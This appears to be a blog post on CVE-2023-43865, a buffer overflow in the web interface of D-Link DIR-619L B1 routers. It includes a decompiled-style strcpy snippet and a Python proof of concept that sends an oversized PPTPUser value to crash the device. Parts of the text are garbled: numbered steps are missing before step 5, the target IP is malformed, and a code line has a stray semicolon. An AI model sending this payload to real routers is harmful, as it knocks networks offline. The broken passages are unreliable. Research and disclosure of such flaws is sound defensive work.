In 2023, a critical security issue was assigned as CVE-2023-43865. This vulnerability affects one of the popular home routers, D-Link DIR-619L B1 running firmware version 2.02. In this post, we’ll break down what this vulnerability is, show you the affected code, demonstrate how an exploit can work, and provide sources for further reading.

What is CVE-2023-43865?

CVE-2023-43865 is a Buffer Overflow vulnerability found in the formSetWanPPTP function within the web-based management interface of D-Link DIR-619L B1 routers (firmware 2.02). Buffer overflow issues can let an attacker run arbitrary code — which could mean full device takeover.

How Does Buffer Overflow Happen Here?

The router has a web interface that takes user settings for WAN (like setting up PPTP for VPN). The web server does not properly check the size of incoming parameters sent to formSetWanPPTP. If a user supplies an excessively long value for certain POST parameters, the underlying buffer in memory overflows.

In plain words: When the router tries to use the user-supplied data, it does not make sure the buffer is big enough, so it overwrites neighboring memory, opening a door for hackers.

Vulnerable Code Snippet

Below is the relevant section of the formSetWanPPTP function decompiled from the firmware. Vulnerable handling is highlighted:

void formSetWanPPTP(request *req) {
    char pptpUsername[64];
    char pptpPassword[64];
    // ... other variables ...

    strcpy(pptpUsername, websGetVar(req, "PPTPUser", ""));
    strcpy(pptpPassword, websGetVar(req, "PPTPPassword", ""));

    // ... rest of the code ...
}

Problem:

The router's web server processes this and overflows the buffer.

5. If exploited correctly, attacker can overwrite the return address on the stack, leading to arbitrary code execution.

Example Exploit — Proof of Concept (PoC)

import requests

router_ip = "192.168..1"
url = f"http://{router_ip}/setWanPPTP.cgi";  # actual endpoint might vary

payload = "A" * 100  # 100 'A's to overflow the buffer

data = {
    "PPTPUser": payload,
    "PPTPPassword": "password",
    # ... other required fields with normal values ...
}

response = requests.post(url, data=data)
print("HTTP Response:", response.status_code)

Note:
This will likely crash or reboot the router. Turning it into a working exploit (for code execution) needs further analysis and reverse engineering (finding offsets, creating shellcode, etc.). But even a crash is a Denial-of-Service (DoS).

Who Is At Risk?

Anyone using D-Link DIR-619L B1 with firmware 2.02 or possibly similar versions.
Attackers need access to the web interface (often only local, but sometimes exposed to the internet if misconfigured).

Upgrade your Router’s Firmware:

D-Link may have published a patch or newer firmware. Always use the latest firmware from D-Link support page.

Official CVE entry:

https://nvd.nist.gov/vuln/detail/CVE-2023-43865

https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10314

Example PoC:

https://github.com/LoRexxar/CVE-2023-43865 (may become available as researchers publish more tools)

Conclusion

CVE-2023-43865 is a textbook buffer overflow in a widely used D-Link router. It’s a reminder that unsafe string functions (strcpy) still cause serious problems. If unpatched, attackers could run code on your router — a critical part of your home or business network.

Update your firmware and always practice good network hygiene!

*If you liked this breakdown, share it with other IT professionals and look for firmware updates on your own networking gear. Got more questions? Ask below!*

Timeline

Published on: 09/28/2023 14:15:22 UTC
Last modified on: 09/29/2023 04:32:37 UTC